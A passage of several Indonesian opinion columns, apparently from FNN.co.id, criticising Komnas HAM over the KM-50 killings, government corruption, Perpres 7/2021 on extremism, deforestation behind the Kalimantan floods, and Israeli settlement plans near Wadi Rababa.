menghalangi mereka. Kalau mereka memang ditugaskan menguntit (surveillance), tentu mereka tidak perlu masuk ke dalam konvoi. Bukankah kelaziman di dunia ‘surveillance’ adalah bahwa penguntit berusaha agar mereka tidak dicurigai melakukan penguntitan. Nah, dalam kasus 7 Desember kenapa para penguntit malah mengganggu rombongan yang diuntit? Kalau mereka malam itu hanya melakukan tugas itu sesuai dengan definisi ‘surveillance’, tak mungkin akan terjadi pergesekan atau pepet-memepet. Pak Taufan mengatakan dalam wawancara ini bahwa pembunuhan 6 pemuda FPI itu bukan pelanggaran HAM berat. Karena, surat tugas yang dikeluarkan untuk aparat malam itu adalah perintah ‘surveillance’. Bukan surat perintah pembunuhan. Kalau surat perintahnya melakukan pembunuhan, barulah bisa disebut pelanggarah HAM berat. Begitulah alur berpikir Taufan Damanik. Harus hati-hati selagi beliau ini menjadi ketua Komnas. Jadi, jawaban-jawaban Pak Taufan dalam wawancara itu seperti terkena “Efek Istana” (the Palace Effect). Alias, sangat terpukau setelah bertemu Presiden Jokowi (14/1/2021) dalam rangka menyerahkan hasil investigasi dan rekomendasi Komnas tentang insiden KM-50. Saking terpukaunya, sampai-sampai Ketua Komnas HAM sekarang ini bernarasi seakan-akan dia juga merangkap sebagai Ketua Tim Pembela Polisi.[] (Penulis wartawan senior FNN.co.id)

Komnas HAM Sebaiknya Dibubarkan Saja

by M Rizal Fadillah Bandung FNN - Bekerja sia-sia saja. Bahkan tidak profesional adalah pilihan diksi yang mungkin pas untuk diberikan kepada Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang diberi amanah untuk menyelidiki kasus pembantaian 6 anggota Laskar Front Pembela Islam (FPI) pada tanggal 7 Desember 2021 lalu di kilometer 50 tol Jakarta-Cikampek (Japek). Harapan publik begitu besar atas kerja keras penyelidikan Komnas HAMK yang transparan, obyektif, dan independen. Namun harapan itu sirna melalui realita kerja Komnas HAM. Ada kesan Komnas HAM menyembunyikan fakta sebenarnya yang terjadi di lapangan. Indikasi ke arah itu cukup nyata. Misalnya, komnas HAM tidak mengungkapkan siapa dan dari institusi mana pelaku penembakan terhadap dua anggota Laskar FPI di kilometer 50 tol Japek. Begitu juga Komnas HAM menyebutkan siapa-siapa yang berada di dalam dua mobil Avanza yang membuntuti rombongan keluarga Habib Rizieq Shihab (HRS) sejak dari Sentul Bogor? Lalu siapa penumpang yang berada di dalam mobil Landruiser, dan berapa nomor polisinya? Menurut Undang-Undang Nomor 39 tahun 1999 tentang Hak Asasi Manusia, menempatkan Komnas HAM sebagai yang lembaga mandiri. Komnas HAM berfungsi untuk melaksanakan pengkajian, penelitian, penyuluhan, pemantauan dan mediasi tentang HAM. Kuat sekali mandat undang-unang yang diberikan kepada Komnas HAM untuk bekerja. Pasal 89 ayat (3) butir c dalam hal pemantauan, maka Komnas HAM melakukan penyelidikan dan pemeriksaan terhadap peristiwa yang patut diduga terdapat pelanggaran HAM. Ada kesalahan mendasar Komnas HAM dalam penyelidikan kasus penembakan terhadap 6 anggota Laskar FPI. Pertama, dari peristiwa yang secara dini dipantau publik diduga penembakan bahkan pembantaian yang terjadi adalah "extra ordinary" dengan tuntutan keras akan pembentukan Tim Pencari Fakta (TPF) yang independen, maka sesuai UU No 26 tahun 2000, seharusnya Komnas HAM membentuk tim ad hok yang terdiri dari Komnas HAM dan unsur masyarakat (vide Pasal 89 ayat 2). Kedua, bahwa hasil penyelidikan dengan kesimpulan terjadinya pelanggaran HAM, Komnas HAM seharusnya mengumumkan kepada publik siapa yang diduga melakukan pelanggar HAM tersebut. Mengetahui penembak atau pembantai adalah hal termudah dan layak didapat oleh Komnas HAM dalam penyelidikan kasus ini. Ketiga, Komnas HAM tidak mampu menjelaskan indikasi penyiksaan (torture), bahkan terkesan menghindar. Kenyataan ini merupakan pelanggaran atas tanggungjawab moral kemanusiaan yang mendasar. Foto kondisi jenazah yang beredar ternyata tidak terklarifikasi baik dalam penyelidikan. Keempat, Komnas HAM keliru. Hanya melaporkan hasil kerja kepada Presiden, sebab pada pelaporan reguler saja dilakukan kepada DPR dan Presiden dengan tembusan Mahkamah Agung (Pasal 97 UU HAM), apalagi pelaporan khusus. Komnas HAM itu dalam bekerja bukan atas perintah dan bertanggungjawab kepada Presiden. Mengingat kegagalan kerja Komnas HAM dalam kasus penyelidikannya. Apalagi mengganggu asas dan dasar kemandiriannya, maka layak jika Komnas HAM dengan angggota yang kini menjabat patut untuk mendapat sanksi. Pemberhentian adalah konsekuensi. Pimpinan dan tim penyelidik kasus penembakan atau pembantaian bertanggungjawab atas kegagalan Komnas HAM. Pemberhentian dari keanggotaan Komnas HAM ini sesuai dengan ketentuan Pasal 85 UU HAM yang membuka pintu pemberhentian atas dasar "mencemarkan martabat dan reputasi dan atau mengurangi kemandirian dan kredibilitas dalam Komnas HAM". Kesalahan sebagaimana dimaksud Pasal 85 bila dilakukan secara kolektif dan sistematis. Maka Komnas HAM yang semestinya menjadi pelindung dan pembela HAM justru menjadi bagian dari pengaburan dan pelanggaran HAM itu sendiri. Sehingga jika hasil kerja Komnas HAM memang dinilai sudah tidak efektif, mandul, dan tidak berwibawa dalam langkah hukum lanjutannya, maka sebaiknya Komnas HAM dibubarkan saja. Penulis adalah Pemerhati Politik dan Kebangsaan.

Luka Hati Rakyat Yang Semakin Dalam

by Ubedilah Badrun Jakarta FNN - Kita semua pernah mengalami luka hati. Terasa sangat sakit. Sebab luka hati tidak hanya merusak satu bagian tubuh. Tetapi secara perlahan bagian lain bisa rusak. Butuh waktu lama untuk sembuh. Itu juga tidak mudah. Sebab yang tersakiti adalah hati. Bukan hati dalam makna fisik tetapi hati dalam makna psikis. Abstrak, tetapi jiwa terasa begitu luka. Jiwa yang luka, pada tingkat rasionalitas tertentu seringkali daya arus baliknya memiliki kekuatan yang luar biasa untuk melawan. Perlawanan yang tidak lagi memikirkan apa akibat yang timbul kemudian. Penghianatan dan janji palsu adalah dua hal yang sangat melukai hati. Kita semua pasti sangat luka jika dikhianati. Begitu juga jika diberi janji-janji palsu. Janji selangit, tetapi realisasinya hanya segorong-gorong, seselokan atau bahkan kosong. Hanya imaji citra dan pencitraan yang terus diomongkan dan dikonstruksi di arena publik. Misalnya, janji kalau pengangguran akan berkurang. Namun nyatanya pengangguran terus bertambah dari waktu ke waktu. Janji demokrasi makin membaik, nyatanya memburuk. Represip dan kriminalisasi terjadi secara telanjang di depan mata. Rakyat makin lapar, tetapi dramaturgi politik yang disuguhkan. Bukan mengatasi kelaparan yang diderita rakyat. Kehadiran negara secara historis sesungguhnya untuk melindungi, agar tidak ada jiwa rakyat yang terluka. Mewujudkan kesejahteraan dan kebahagiaan rakyatnya. Rakyat yang harsnya dibahagiakan. Bukan rakyat disakiti, apalagi dibunuh. Demokrasi juga hadir untuk mendengarkan hati dan suara rakyat. Mendengarkan jiwa jiwa yang terluka akibat ketidakadilan. Rakyat harus diutamakan. Bukan para oligarki dan konglomerasi licik, picik, culas dan rakus yang harus diurus kepentingannya. Sebab dalam demokrasi, rakyat yang berdaulat. Bukan segelintir kecil elit. Democracy, literally, rule by the people demikian Robert Dahl, profesor politik dari Yale University mengingatkan (1915-2014). Korupsi Dana Untuk Rakyat Itulah sebabnya banyak negara memilih jalan demokrasi. Bukan jalan oligarki, apalagi jalan otoriter dan fasis. Sebab dalam jalan demokrasi itu keragaman dihargai. Perbedaan pendapat dan sikap kritis dari civil society dihormati. Kritik adalah bagian penting untuk membuat demokrasi lebih bergizi. Pertanyaannya, apa yang membuat hati rakyat semakin luka seperti tersayat sembilu? Jawabannya korupsi. Indonesia adalah peringkat tiga sebagai negara terkorup se Asia (Transparency International, 2020). Sangat memprihatinkan dan menyakitkan sekali. Ya, korupsi sangat menyakitkan hati rakyat. Korupsi itu mencuri uang rakyat, mencuri hak-hak rakyat. Apalagi uang yang dikorupsi seharusnya untuk rakyat miskin yang terdampak covid-19, dan kehilangan pekerjaan. Mereka makan sehari sekali bahkan kadang tidak makan. Tetangganya bahu-membahu membantu, tetapi penguasa dan partai yang berkuasa diduga mengorupsi hak rakyat miskin itu. Sangat menyakitkan. Tidak tanggung-tanggung korupsinya. Menurut Komisi Pemberantsan Korupsi (KPK), tahun 2020 uang yang dikorupsi total mencapai Rp. 20,8 milyar. Bahkan ada kemungkinan uang yang dikorupsi berpotensi jumlahnya trilliunan rupiah, karena jumlah total proyeknya mencapai Rp. 5,9 triliun. Jumlah ini belum termasuk yang disebut dugaan korupsi lainya di BUMN pada periode ini yang sudah menjadi berita. Misalnya, korupsi Jiwasraya Rp. 16,8 triliun, potensi korupsi di Asabri Rp.17 trilliun, potensi korupsi di BPJS Rp. 43 trilliun, dan potensi korupsi di Bumiputera Rp 48,9 trilliun. Sungguh-sungguh sangat melukai hati rakyat. Di negeri ini ada pasal 2 ayat 2 dalam Undang-Undang pemberantasan tindak pidana korupsi Nomor 31 Tahun 1999 yang menyebutkan bahwa mengorupsi bantuan untuk bencana bisa dihukum mati. Tujuan pasal 2 ayat 2 undang-undang itu untuk memberantas korupsi, membuat jera koruptor. Bukan untuk melindungi koruptor. Apakah hukuman mati akan diberlakukan? Entahlah, sebab yang terjadi seringkali hukum tumpul ke atas dan hanya tajam ke bawah. Apalagi jika yang korupsi bagian dari elit yang berkuasa. Jika hukum terus tumpul ke atas dan hanya tajam ke bawah, tentu itu makin melukai hati rakyat. Rakyat bisa melawan. Ada kabar terbaru yang juga sangat menyakitkan hati. Ternyata dana Bansos yang dikorupsi itu tak sampai ke kelompok masyarakat difable. Banyak difabel yang bekerja sebagai buruh harian lepas harus menggadaikan alat mata pencaharian dan menanggung resiko kehilangan penghasilan. Rakyat Dibunuh Aparat Selain korupsi, pembunuhan aparat terhadap rakyat adalah juga sangat melukai hati rakyat. Nyawa seperti tak berharga di negeri ini. Masih inget perjuangan mahasiswa dan siswa STM yang menolak upaya pelemahan KPK oleh Pemerintah dan DPR pada September 2019 lalu? Niat luhur mahasiswa dibalas dengan peluru tajam menembus dada kanan mahasiswa dan ditemukan bekas tembakan atau serpihan proyektil peluru di kepala (Kontras, 2020). Dua mahasiswa Universitas Haluuleo Kendari yang bernama Yusuf Kardawi dan La Randi itu ditembak mati aparat. Luka hati rakyat semakin dalam. Di penghujung tahun 2020, ada 6 anak muda pengawal Habieb Rizieq Shihab (HRS) dadanya ditembak peluru tajam hingga tak bernyawa. Hasil penyelidikan Kimisi Nasional Hak Asasi Manusia (Komnas HAM) menyimpulkan telah terjadi itu pelanggaran HAM. FPI menyebut itu pelanggaran HAM berat. Kini kasus tersebut dilaporkan FPI ke International Criminal Court (ICC) atau Mahkamah Pidana Internasional. Kasus-kasus HAM yang lama seperti kasus Munir, kerusuhan Mei 1998, dan lain-lain tidak ada satupun yang diselesaikan dengan tuntas. Kini kasus-kasus pelanggaran HAM baru malah bertambah. Ya, rakyat makin banyak yang menderita dan terluka hatinya. Terlalu banyak aspirasi rakyat banyak yang tidak didengar, bahkan dicuekin. Rakyat banyak menolak UU Omnibus Law Ciptaker, tetapi rezim penguasa tetap jalan, menutup telinga, mengesahkan undang-undang itu. Ya, penguasa bertepuk sebelah tangan. Saat kampanye, rakyat mahasiswa dan buruh didekati. Begitu berkuasa, aspirasi rakyat mahasiswa dan buruh tidak lagi didengar bahkan ditinggalkan, dan dibuang ke tong sampah. Kenyataan ini yang membuat luka hati yang makin dalam. Yang Kristis Dipenjarakan Kini penguasa senang berutang. Bahkan menyembunyikan hutang hingga Rp. 921 trilliun (Indef,2020). Hingga akhir Desember 2020, Indonesia tercatat memiliki hutang sebesar Rp 6.074,56 triliun (Kemenkeu,2020). Angka itu setara dengan 38,68 persen dari Produk Domestik Bruto (PDB) Indonesia. Dibandingkan 2019, nilai utang Indonesia meningkat Rp 1.296 triliun atau 27,1 persen. Utang yang besar itu akan terus bertambah. Tahun ini bisa sampai Rp. 7.000 triliyun lebih. Pemerintah terjebak gali lobang tutup goa. Bayar cicilan utang dengan membuat hutang baru. Makin menyakitkan lagi hasil hutang itu yang dikorupsi, sementara rakyat yang menanggung cicilan utangnya. Sadis amat penguasa. Rakyat kembali menjadi korban atas keserakahan dan tata kelola negara yang buruk dan korup tersebut. Rakyat menanggung beban untuk bayar hutang dan bunga hutang sampai lebih dari 50 tahun ke depan. Sementara penguasa bersama jaringan mafia oligarki dan konglomerasi culas, licik, picik dan tamak berpesta pora dengan mengeruk uang rakyat di APBN yang hampir separuhnya dari hutang. Korupsi uang Bantuan Sosial (Bansos) adalah faktanya. Itu fakta yang tidak bisa dibantah. Sementara rakyat semakin menderita. Disaat yang sama rakyat juga tertindas. Dibungkam suara rakyat dengan berbagai cara. Diretas media digitalnya, dilaporkan, ditangkap dan dipenjara, termasuk dipaksa swab test dan karantina agar tidak ada lagi suara-suara kritis. Apakah rakyat akan selamanya diam? Diam atau melawan? Luka hati rakyat yang tertindas memang sangat menyakitkan! Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta.

Perpres Nomor 7 Itu Arahnya ke Umat Islam Lagi

by Asyari Usman Medan, FNN - Kepala Staf Kepresidenan (KSP) Moeldoko mengatakan dia sudah lebih dulu menduga Perpres 7/2021 pasti akan dicurigai. Padahal, menurut Kepala Sataf, perpres ini didukung oleh 50 ‘civil society organisation’ (CSO). Dia tak menyebutkan CSO-CSO yang ‘credible’. Hanya menyebutkan Wahid Foundation (WF). Tak jelas mengapa dia tidak bisa menyebutkan beberapa CSO yang hebat-hebat. Hanya WF yang lumayan dikenal. Yang 49 lagi boleh jadi entah siapa-siapa saja. Kalau dibaca konsideran, ‘timing’ (waktu) penerbitan, dan tujuan Perpres ini, maka tidak mengherankan kalau Moeldoko bisa menduga sambutan curiga dari publik. Mari kita cermati berbagai aspek dari penerbitan Perpres ini. Sambil mencari poin-poin yang mencurigakan itu. Pertama, judul Perpres 7/2021. Nama Perpres itu adalah Rencana Aksi Nasional Penanggulangan dan Pencegahan Ekstremisme Berbasis Tindak Kekerasan yang Mengarah pada Terorisme. Disingkat RAN PE. Kita lihat kata terakhirnya: “terorisme”. Sudah bisa ditebak siapa yang dimaksudkan oleh Perpres ini. Pastilah orang akan mengaitkan Perpres ini dengan umat Islam. Apa saja indikasinya? Pertama, semua peristiwa yang disebut terorisme di masa lampau selalu berurusan dengan umat Islam. Tindakan penguasa terkait peristiwa-peristiwa terorisme acapkali melibatkan umat Islam, para tokoh Islam, pendidikan Islam, sampai ke hal-ihwal pengelolaan masjid, pengajian, dlsb. Kemudian, program pencegahan terorisme yang dilakukan para penguasa selama ini selalu terkait dengan konten ceramah agama, tipe ustad, kiyai maupun ulama, hingga ke cara berpakaian dan tampilan (celana cingkrang, cadar, janggut, dll). Kedua, ‘timing’ (waktu) penerbitan Perpres 7/2021 ini berdekatan dengan kepulangan Habib Rizieq Syihab (HRS) dari Arab Saudi dan peristiwa pembunuhan 6 pemuda FPI pada 7 Desember 2020. Kalau dilihat skala tindakan penguasa terhadap HRS dan FPI, jelas sekali para penguasa melihat peristiwa KM-50 sebagai drama ekstremisme berbasis kekerasan yang mengarah pada terorisme. Kalau bukan kepada HRS dan FPI, ke mana para penguasa meletakkan narasi “ekstremisme berbasis kekerasan yang mengarah pada terorisme” itu? Apakah masuk akal dikaitan dengan kelompok separatis Papua? Atau para bandar Narkoba? Mau dikaitkan ke para koruptor, tampaknya kejauhan. Sebab, para koruptor hanya melakukan ‘terorisme keuangan’ yang sering berefek positif bagi orang-orang yang pandai memainkannya. Ketiga, tujuan penerbitan Perpres 7/2021. Aspek ini malah akan lebih memperkuat kecurigaan bahwa umat Islam-lah yang dimaksudkan peraturan baru itu. Lihat saja rencana yang akan dilakukan para penguasa berdasarkan peraturan ini. Ada pelatihan warga untuk menjadi pelapor hal-hal yang mencurigakan di lingkunga mereka. Nah, sebagai komponen mayoritas di negara ini, maka 85% calon pelapor dan yang akan dilaporkan adalah orang Islam. Ini logika persentase umat Islam. Sekarang begini saja. Mari kita blak-blakan dan logis-logisan tentang siapa yang mau dibidik Perpres 7/2021 itu. Satu pertanyaan saja. Komunitas mana di luar umat Islam yang mau disasar? Budha? Hindu? Kristen? Kong Hu Chu? Syiah? Ahmadiyah? Penganut Aliran Kepercayaan? Kelompok liberal? Apakah ada di antara komunitas ini yang mau ditarget RAN PE itu? Sebagai penutup, yang menjadi masalah di negara ini bukanlah umat Islam maupun komunitas-komunitas lainnya. HRS, FPI, atau pun individu dan kelompok lain yang selama ini menunjukkan sikap kritis, itu hanyalah reaksi. Reaksi terhadap ketidakadilan, kesewenangan, kezaliman. Yang menjadi masalah bangsa ini adalah korupsi, penyalahgunaan kekuasaan, kerakusan oligarkhi bisnis, kemiskinan yang dibiarkan, penegakan hukum tebang pilih, dan salah kelola. Tidak perlu berputar-putar mencari dan mengidentifikasi masalah. Kalau para penguasa berlaku adil, membela rakyat, dan membasmi korupsi secara sungguh-sungguh, sudah sejak dulu negeri ini damai. Sudah sejak lama Indonesia menjadi salah satu negara maju.[] Penulis adalah Wartawan Senior FNN.co.id.

Hutan Kalsel Digunduli, Datanglah Bencana

by Hasan Syukur Jakarta FNN - Bencana banjir di Kalimantan Selatan kini menyisakan penderitaan bagi penduduk yang ditimpa bencana itu. Sikitar 11 Kabupaten dan Kotamadya tergenang mulai setinggi lutut hingga hampir dua meter air. Sebagian besar penduduk ditampung di tempat-tempat pengungsian. Berbagai penyakit mulai datang mengancam para pengngsi. Dampak dari bencana banjir mulai terasa di bidang sosial ekonomi. Begiutu juga sarana dan prasarana dan jalan-jalan yang rusak. Yang paling menderita tentulah petani di pedesaan terpencil yang kini sangat mengharapkan bantuan dari Pemerintah Daerah setempat. Kehadiran sarana teransformasi untuk perbaikan pasca banjir tampaknya memerlukan waktu cukup lama. Sementara pada daerah lain di pulau Jawa seperti di Sumedang dan kawasan puncak, banjir bandang merengut puluhan jiwa. Di Provinsi Iain, tercatat ada 67.842 jiwa yang terdampak bencana. Bangunan rumah milik warga yang terdampak sebanyak 19.452 unit. Gubernur Kalimantan Selatan Sahbirin Noor sudah mengumumkan wilayahnya berstatus tanggap darurat banjir. Direktur Eksekutif Walhi Kalimatan Selatan, Kusworo Dwi Cahyono menegaskan, banjir besar di yang terjadi Kalimantan Selatan beberapa hari ini, bukan sekedar akibat cuaca yang ekstrem. Melainkan akibat rusaknnya ekologi dan ekosistem lingkungan di daeah ini. Kerusakan terbesar sebagai akibat dari eksploitasi lingkungan secara komersial tanpa megabaikan dampak yang timbul di kemudian hari. Berdasarkan catatan Walhi, tahun 2020 saja sudah terdapat 814 lubang tambang yang dilakukan oleh 157 penguasa tambang batubara. Lubang-lubang tambang tersebut, sampai sekarang masih aktif. Bahkan ada yang ditinggalkan tanpa reklamasi. Kondisi ini semakin diperparah dengan adanya pembukaan lahan hutan untuk perkebunankelapa sawit. Pasti bakal mengurangi daya serap tanah. Kondisi ini nenampakan daya tampung dan daya dukung lingkungan di Kalimantan Selatan dalam kondisi darurat ruang dan darurat bencana ekologis. Masalah ini sudah sering kita ingatkan. Sejak dari total wilayah seluas 37 juta hektar. Kini hampir 50 persen sudah dibebani izin pertambangan dan perkebunan kelapa sawit", ujar Kusworo. Sumber Kementrian Kehutanan menyebutkan Pulau Kalimantan sebenarnya menjadi areal gundul yang cuma memiliki hutan primer kurang dari 20 persen. Padahal supaya lalulintas air hujan tak tumpah ruah di darat, maka diperlukan paling sedikit 30 persen daya dukung hutan primer. Inilah jawaban mengapa bencana banjir dan longsor belakangan ini sering terjadi di pulau yang setengah abad silam dikenal amat rimbun terseut. Parahnya kerusakan itu tidak mendadak. Ketika Orde Baru mulai melakukan pemberian izin Hak Pengusahaan Hutan (HPH) sudah diingatkan oleh berbagai pihak bahwa rusaknya hutan akan mengganggu keseimbangan ekosistem yang berujung bencana alam. Padahal hutan tropis kita diakui dunia sebagai paru-paru di planet bumi ini. Alasannya waktu itu perlu dana untuk pembangunan dan hutan merupakan asset yang menjaadi sumber keuangan negara. Kondisi lahan kritis ini, mencuat hanya dalam waktu lima tahun setelah pemberian izin HPH. Kini tahun-tahun setelah Orba mengobral izin kepada pemodal kuat. Pohon-phon legendaris seperti kayu besi, meranti, mahoni, pohon kenari dan pohon borneo mungkin hanya tinggal ceritera. Bila mau menanam kembali pohon-pohon tersebut memerlukan waktu lama. Kalau ditanam bijinya yang sudah nyaris punah. Andaikan tumbuh dalam satu tahun cuma beberapa centi meter. Walhasil seperti menebang pohon yang berumur ratusan tahun. Hanya dalam waktu beberapa menit sudah tumbang. Padahal merehabilitasi lahan kritis jauh lebih sulit ktimbang mrusaknya. Lahan kritis semakin lana semakin luas. Ini artinya semakin musnah fungsi biologi dan ekologi sebagai habitat satwa floraan fauna. Mulai dari endemik sebagai jenis burungvikan serangga kupu-kupu sampai ke binatang melata dan parimata. Padahal kekayaan ini sangat luar biasa, karena tidak dimiliki neara lain. Ada upaya menanam kelapa sawit. Tetapi hasilnya tidak maksimal. Sebab tidak bisa menolonng karena akar serabut pohon kelapa sawit tidak mampu menyerp air. Kondisi semakin diperparah dengan kebijakan pengusaha sekarang, yang getol untuk mengundang investasi asing di biang perberkebun kelapa sawit dan mengeksploitasi pertambangan. Apabila demi investasi dan kecenderungan ini terus berlangsung, bangsa kita bukan bertambah kaya. Tetapi bertambah miskin. Hutang terus bertambah dan menggunung, sementara kedaulatan semakin hilang. Negeri yang terkenal denganngan julukan "jamrud khatulistwa" itu bagi generasi mendatang mungkin tiinggal kenangan. Gilirannya kini alam membalas keserakahan manusia. Penulis adalah Pengurus KB Pelajar Islam Indonesia (PII).

Perpres Berbahaya, Mau Dibawa ke Mana Negara?

by M. Rizal Fadillah Bandung FNN - Presiden telah menandatangani dan memberlakukan Peraturan Presiden (Perpres) Nomor 7 Tahun 2021 tentang Rencana Aksi Nasional Penanggulangan Ekstrimisme Berbasis Kekerasan Yang Mengarah Pada Terorisme. Dasar pertimbangannya sesuai konsiderans Perpres adalah "seiring dengan semakin meningkatnya ancaman ekstrimisme yang berbasis kekerasan yang mengarah pada terorisme di Indonesia". Menjadi pertanyaan mendasar adalah sejauh mana terjadinya peningkatan ancaman ekstrimisme berbasis kekerasan yang mengarah ada terorisme itu? Terlebih jika dihubungkan dengan "mengancam rasa aman dan stabilitas nasional". Adakah kasus HRS dan FPI yang baru saja terjadi adalah model ancaman yang dimaksud dengan Perpres Nomor 7 Tahun 2021 itu? Pentingnya kewaspadaan tentu dapat difahami. Akan tetapi jika berlebihan, maka menjadi kontra produktif, tidak sehat, serta menciptakan kultur saling curiga. Sosialisasi hingga pelatihan untuk mengadukan atau melaporkan kepada yang berwenang atas dasar kecurigaan dapat membangun budaya "main lapor" seenaknya atau rekayasa perkara. Budaya ini berbahaya, dan dapat mengancam iklim demokrasi. Sikap kritis akan mudah dituduhkan sebagai ekstrimisme. Sementara pendukung kekuasaan atau mungkin penjilat menjadi nyaman dalam perilakunya, yang sebenarnya juga ekstrim, radikal, atau intoleran. Bernuansa teror pula. Setelah dibombardir dengan isu dan program deradikalisasi, anti kemajemukan, dan lainnya kini rakyat ditambah beban baru berupa penanggulangan ekstrimisme berbasis kekerasan yang mengarah pada terorisme. Masyarakat terus ditakut-takuti dengan doktrin yang rumusannya bersifat multi tafsir atau bias makna. Perpres No 7 tahun 2021 ini berbahaya, karena beberapa hal. Pertama, dasar hukum Perpres yang tidak kuat. Jika dimaksud adalah UU No 5 tahun 2018 yang berkaitan dengan pemberantasan tindak pidana terorisme, maka hal ini tidak adekuat. Terorisme memiliki rumusan delik yang jelas sedangkan ekstrimisme tidak. Semestinya derivasi aturan pun adalah Peraturan Pemerintah. Bukan Perpres yang merumuskan "ekstrimisme" itu bias. Rumusan yang bias memungkinkan untuk ditarik kemana-mana meskipun dengan kalimat "berbasis kekerasan" Kedua, melibatkan banyak kementrian, instansi, atau badan dan lembaga menyebabkan "ekstrimisme" menjadi isu di banyak ruang dan bidang. Program pelatihan kepada penceramah dan ruang ibadah sebagai contoh kegiatan yang dinilai tendensius. Ekstrimisme yang diatur Perpres menjadi racun baru yang dipaparkan ke publik, doktrin keseragaman, serta legalisasi tindakan membungkam demokrasi. Ketiga, sosialisasi yang masif dengan melibatkan banyak institusi adalah kebijakan membuka banyak proyek komersial berbasis ideologi. Dana negara yang akan dihambur-hamburkan atas nama program strategis. Konsentrasi pemerintahan pun terfokus lebih pada "kegaduhan" radikalisme, ekstrimisme, dan terorisme yang pada hakekatnya tak lain untuk menutupi maraknya korupsi, krisis ekonomi, serta kegagalan dalam menangani pandemi. Menciptakan kecurigaan apalagi ketakutan di masyarakat adalah khas pemerintahan otoriter atau komunis. Hembusan fitnah dan adu domba menjadi habitat. Tentu kita tidak ingin kekuasaan dibawa ke arah sana. Pilihan kita adalah demokrasi berkeadaban, sarat nilai, santun dan menumbuhkan sikap saling percaya di masyarakat. Perpres 7 tahun 2021 yang ditindaklanjuti dengan desk aduan khusus yang dibuka di Kepolisian dan Kejaksaan. Ditambah dengan Calon Kapolri yang bertekad untuk menghidupkan kembali Pamswakarsa, lalu pandemi Covid 19 yang dijadikan alasan untuk kebijakan represif, maka wajar menimbulkan pertanyaan hendak dibawa kemana negara ini? Semakin gencar membombardir masyarakat dengan isu radikalisme, intoleransi, ekstrimisme hingga terorisme, maka secara tidak sadar negara sendiri yang sedang memberi predikat dirinya sebagai negara radikal, negara ekstrim, dan negara teroris. Sejarah hitam mulai digoreskan kembali di negeri Republik Indonesia yang merdeka dan berkedaulatan rakyat ini. Genderang demokrasi terpimpin telah dimulai. Penulis adalah Pemerhati Politik dan Kebangsaan.

Wadi Rababa Menjadi Target Yahudisasi dan Permukiman di Al-Quds

by Mochamad Toha Surabaya, FNN - Pemerintah zionis Israel akhirnya mendapat lampu hijau untuk membangun permukiman di wilayah Tepi Barat. Rencananya, pemerintah Zionis itu akan membangun ratusan rumah di atas lahan yang direbut dalam perang 1967. Seperti dilansir JPNN.com, Senin (18 Januari 2021 – 16:18 WIB) PM Benjamin Netanyahu sudah lama menjadikan proyek pemukiman tersebut program utamanya. Namun, berbagai halangan membuat rencana berulang kali batal dieksekusi. Pada Minggu (17/1/2021), komite pemerintah akhirnya memberikan ratifikasi akhir untuk 365 rumah dan persetujuan awal untuk 415 rumah lainnya. Seorang juru bicara Presiden Palestina Mahmoud Abbas mengutuk pembangunan itu sebagai ilegal, menuduh Israel melakukan upaya pencegahan untuk melemahkan upaya apa pun oleh Presiden AS Joe Biden untuk meluncurkan kembali proses perdamaian yang terhenti. Dalam menghadapi Yuhudisasi dan ekspansi permukiman Yahudi, sebanyak 800 warga al-Quds berjuang dengan kegigihan dan ketabahan mereka di Wadi Rababa di Kota Silwan, di sebelah selatan Masjid Al-Aqsha di kota suci al-Quds yang diduduki penjajah Israel. Wadi Rababa terletak di area sekitar 210.000 m2. Untuk bisa tetap bertahan kelangsungan hidupnya, para penduduknya harus menghadapi kebijakan penjajah Israel dan praktik-praktik para pemukim Yahudi yang bertujuan untuk mengusir mereka dari tanahnya. Seorang Relawan Indonesia di Palestina, Von Edison Alouisci, mengungkapkan, penjajah Israel berusaha untuk mendapatkan kendali atas Wadi Rababa dengan melaksanakan proyek dan rencana ekspansi permukiman Yahudi. Proyek yang paling menonjol belakangan ini adalah proyek “Jembatan Gantung”. “Dimulai dari kampung Al-Tsauri, melalui kampung Wadi Rababa, hingga ke daerah Nabi Dawud,” ungkap Von Edison Alouisci. Di samping pekerjaan lain di tanah kampung tersebut untuk mengubahnya menjadi “jalan dan taman taurat”, ditambah lagi dengan membuat kuburan palsu di beberapa bagian lainnya dari kampung tersebut. Seorang pakar urusan al-Quds, Nasser Al-Hidmi, menegaskan, Wadi Rababa itu merupakan perpanjangan dari daerah Silwan yang berada dekat dengan Masjid Al-Aqsha. Dalam pernyataan khusus kepada Pusat Informasi Palestina, Al-Hidmi menyatakan bahwa penjajah Israel sedang fokus menarget Lembah Rababa. Karena daerah tersebut dekat dengan Masjid Al-Aqsha dan dianggap sebagai sisi yang agak lemah. Ia menjelaskan, banyak tanah di daerah Wadi Rababa kepemilikannya tidak jelas, dan bukti kepemilikan tidak sesuai dengan yang semestinya. Karena itu penjajah Israel menarget dengan memintar agar masyarakat di kampung itu membuktikan kepemilikan mereka. Al-Hidmi menyatakan, jika warga tidak bisa membuktikan kepemilikan atau tidak terdaftar secara resmi, maka dikonversi dari tanah pendudukan menjadi tanah yang dianggap sebagai “properti tanpa pemilik”. Yang pada gilirannya, bisa dialihkan kepemilikannya ke organisasi permukiman Yahudi untuk pembangunan permukiman. Ia menekankan, penjajah Israel ingin masuk melalui sisi ini untuk menembus perkampungan al-Quds dan memecah-mecahnya melalui koloni-koloni permukiman yang dihuni oleh para pemukim ekstrim Yahudi untuk menguasai kota al-Quds dan mencegah komunitas-komunitas warga al-Quds terintegrasi dan saling terhubung. Kampung ini dinamakan Wadi Rababa, karena bagian atasnya sempit dan bagian bawahnya berkembang melebar secara bertahap, seperti alat musik Arab kuno “Rababa”. Pemberian nama tersebut termasuk baru, dibandingkan dengan penamaan lama. Dulu, di periode Kanaan, lembah ini disebut dengan “Jai Hinom”, artinya adalah “Lembah Neraka”. Sementara itu orang-orang tua penduduk al-Quds, menyebutnya dengan nama “Tanah Tak Bertuan”, karena merupakan garis pemisah antara bagian timur dan barat kota. Al-Hidmi menjelaskan, lembah tersebut membentang dari lembah yang memanjang dari sisi Wadi al-Jauz dan bertemu dengan Wadi Qadrun (lembah Neraka), dan meluas ke arah Wadi Rababa yang mengelilingi di bukit tempat dibangunnya Masjid Al-Aqsha yang diberkati. Ia menyatakan, wilayah Wadi Rababa dianggap tempat suci oleh semua agama yang pernah ada di wilayah tersebut. Al-Hidmi mengingatkan, Wadi Rababa menghadap ke Gerbang Al-Rahma, yang oleh kaum muslimin dijadikan sebagai kuburan, menghadap ke kuburan untuk orang Kristen dan juga 